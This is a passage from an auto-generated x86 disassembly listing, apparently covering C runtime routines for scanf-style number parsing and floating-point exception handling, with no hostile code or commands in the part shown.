		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C9D8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43CBE4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43CBE4, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43CBE4, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43CBE4, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43CBE4, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C9D8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D350, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB958, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43D350, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 266038Dh
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF50
		fnstsw	ax
		sahf
